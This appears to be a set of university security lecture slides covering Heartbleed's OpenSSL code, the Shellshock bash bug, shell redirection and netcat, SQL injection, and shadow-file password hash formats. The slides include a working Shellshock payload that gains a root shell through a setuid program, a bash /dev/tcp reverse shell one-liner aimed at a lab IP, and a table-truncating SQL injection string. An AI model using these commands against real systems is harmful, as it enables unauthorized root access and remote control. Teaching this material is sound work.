Aaron Bloomfield (aaron@virginia.edu)
@github | ↑ |
Some might argue that Heartbleed is the worst vulnerability found (at least in terms of its potential impact) since commercial traffic began to flow on the Internet.
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
// Read from type field first
hbtype = *p++; /* After this instruction, the pointer
* p will point to the payload_length field */
// Read from the payload_length field from the request packet
n2s(p, payload); /* Function n2s(p, payload) reads 16 bits
* from pointer p and store the value
* in the INT variable "payload". */
pl = p; // pl points to the beginning of the payload content
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
// Enter response type, length and copy payload *bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
// copy payload
memcpy(bp, pl, payload); /* pl is the pointer which
* points to the beginning
* of the payload content */
bp += payload;
// Random padding
RAND_pseudo_bytes(bp, padding);
// this function will copy the 3+payload+padding bytes
// from the buffer and put them into the heartbeat response
// packet to send back to the request client side.
OPENSSL_free(buffer);
r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
}
/* silently discard per RFC 6520 sec. 4 */
if (1 + 2 + payload + 16 > s->s3->rrec.length) return 0;
Think about it, OpenSSL only has two [fulltime] people to write, maintain, test, and review 500,000 lines of business critical code.
- John Walsh, software engineer
One can declare functions in the bash shell:
$ foo() { echo "hello world"; }
$ declare -f foo
foo ()
{
echo "hello world"
}
$ foo
hello world
$ unset -f foo
$ declare -f foo
$
$ foo() { echo "hello world"; }
$ declare -f foo
foo ()
{
echo "hello world"
}
$ foo
hello world
$ export -f foo
$ /bin/bash
child$ declare -f foo
foo ()
{
echo "hello world"
}
child$ foo
hello world
child$
This works on the metasploit container
$ foo='() { echo "hello world"; }'
$ echo $foo
() { echo "hello world"; }
$ declare -f foo
$ export foo
$ /bin/bash
child$ echo $foo
child$ declare -f foo
foo ()
{
echo "hello world"
}
child$ foo
hello world
child$
Run on, say, outer1
$ foo='() { echo "hello world"; }'
$ echo $foo
() { echo "hello world"; }
$ declare -f foo
$ export foo
$ /bin/bash
child$ echo $foo
() { echo "hello world"; }
child$ declare -f foo
child$ foo
bash: foo: command not found
child$
This works on the metasploit container
$ foo='() { echo "hello world"; }; pwd;'
$ echo $foo
() { echo "hello world"; }; pwd;
$ export foo
$ /bin/bash
/root
child$ echo $foo
child$ declare -f foo
foo ()
{
echo "hello world"
}
child$
Notice the /root
when the child process was run
foo='() { echo "hello world"; }; pwd;'
pwd
) when the child process starts:$ /bin/bash
/root
child$
pwd
) was due to a parsing error$ whoami
user
$ cat vul.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(geteuid());
system("/bin/ls -l");
return 0;
}
$ gcc vul.c -o vul
$ sudo chown root vul
$ sudo chmod 4755 vul
$ ./vul
-rwsr-xr-x 1 root user 6567 2024-03-26 23:47 vul
-rw-r--r-- 1 root root 138 2024-03-26 23:46 vul.c
$ whoami
user
$ export foo='() { echo "hello world"; }; /bin/sh'
$ ./vul
sh-3.2# whoami
root
sh-3.2#
chmod 4755
root@metasploit:~# ls -l /bin/ping
-rwsr-xr-x 1 root root 30856 Dec 10 2007 /bin/ping
root@metasploit:~#
os.system()
system()
SSH_ORIGINAL_COMMAND
is parsed by the server as root, and then executed as the user$ cat fd.c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
char *output = "hello world\n";
int fd = open("fd.out",O_CREAT|O_WRONLY|O_TRUNC);
printf("file descriptor: %d\n",fd);
write(fd, output, 12);
close(fd);
return 0;
}
$ clang -o fd fd.c
$ ./fd
file descriptor: 3
$ chmod 644 fd.out
$ cat fd.out
hello world
$
fopen()
is not as annoying to use$ echo "hello world" > output.txt
$ cat output.txt
hello world
$
output.txt
echo "hello world" 1> output.txt
$ a.out < input.txt
$
input.txt
as the input of the a.out
program$ a.out 0< input.txt
>
versus >&
>
operator redirects output to a new "thing">&
operator redirects output to an already opened "thing">>
)2>&1
will redirect stderr to stdout:$ ls -F
directory/ file
$ grep test *
grep: directory: Is a directory
file:this is a test
$ grep test * > output.txt
grep: directory: Is a directory
$ cat output.txt
file:this is a test
$ grep test * 2> output.txt
file:this is a test
$ cat output.txt
grep: directory: Is a directory
$ grep test * > output.txt 2>&1
$ cat output.txt
grep: directory: Is a directory
file:this is a test
nc -l 4760
will listen on port 4760, and print any output received/dev/tcp/<IP>/<port>
to send data to that IP & portroot@outer1:~# echo "hello world" > /dev/tcp/192.168.100.102/4760
root@outer1:~#
root@outer2:~# nc -l 4760
hello world
root@outer2:~#
outer1 is the victim machine:
root@outer1:/# bash -i > /dev/tcp/192.168.100.102/4760
root@outer1:/# hostname
root@outer1:/# ls -l
root@outer1:/# exit
exit
root@outer1:/#
outer2 is the attacker machine:
root@outer2:~# nc -l 4760
outer1
lrwxrwxrwx 1 root root 7 Jan 25 09:04 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
...
root@outer2:~#
outer1 is the victim machine (note the 0<&1
):
root@outer1:/# bash -i > /dev/tcp/192.168.100.102/4760 0<&1
root@outer1:/# ls -l
root@outer1:/#
outer2 is the attacker machine:
root@outer2:/# nc -l 4760
hostname
outer1
ls -l
total 116
lrwxrwxrwx 1 root root 7 Jan 25 09:04 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
...
^C
root@outer2:/#
outer1 is the victim machine (note the 2<&1
):
root@outer1:/# bash -i > /dev/tcp/192.168.100.102/4760 0<&1 2>&1
root@outer1:/#
outer2 is the attacker machine:
root@outer2:/# nc -l 4760
root@outer1:/# hostname
hostname
outer1
root@outer1:/# ls -l
ls -l
total 116
-rwxr-xr-x 1 root root 9040 Mar 28 21:02 a.out
lrwxrwxrwx 1 root root 7 Jan 25 09:04 bin -> usr/bin
...
root@outer1:/# ^C
root@outer2:/#
The final version:
bash -i > /dev/tcp/192.168.100.102/4760 0<&1 2>&1
It's that easy, and can be run as a non-root user
Go over the fuzzing slide column in the Web Security slide set
user:$y$j9T$wmEh7N6.PIYqdbr52Fqpj1$owbqqdSR3KqbONd59bnwWni/yvl3Yw4ahqFTiiwfQxC:19828:0:99999:7:::
var userid = getUseridFromWebForm()
var query = "select * from course where userid='" +
userid + "';"
var result = databaseQuery (query)
doSomethingWithTheResult (result)
select * from course where userid='asb2t';
'; truncate course; --
select * from course where userid=''; truncate course; -- ';
select * from course where
userid=''; truncate course; -- ';
Exploits of a Mom
user:$y$j9T$wmEh7N6.PIYqdbr52Fqpj1$owbqqdSR3KqbONd59bnwWni/yvl3Yw4ahqFTiiwfQxC:19828:0:99999:7:::
y
the algorithm used (y is yescrypt)j9T
is a parameter to the yescrypt algorithmwmEh7N6.PIYqdbr52Fqpj1
is the salt (aka nonce)owbqqdSR3KqbONd59bnwWni/yvl3Yw4ahqFTiiwfQxC
is the encoded (encrypted and/or hashed) password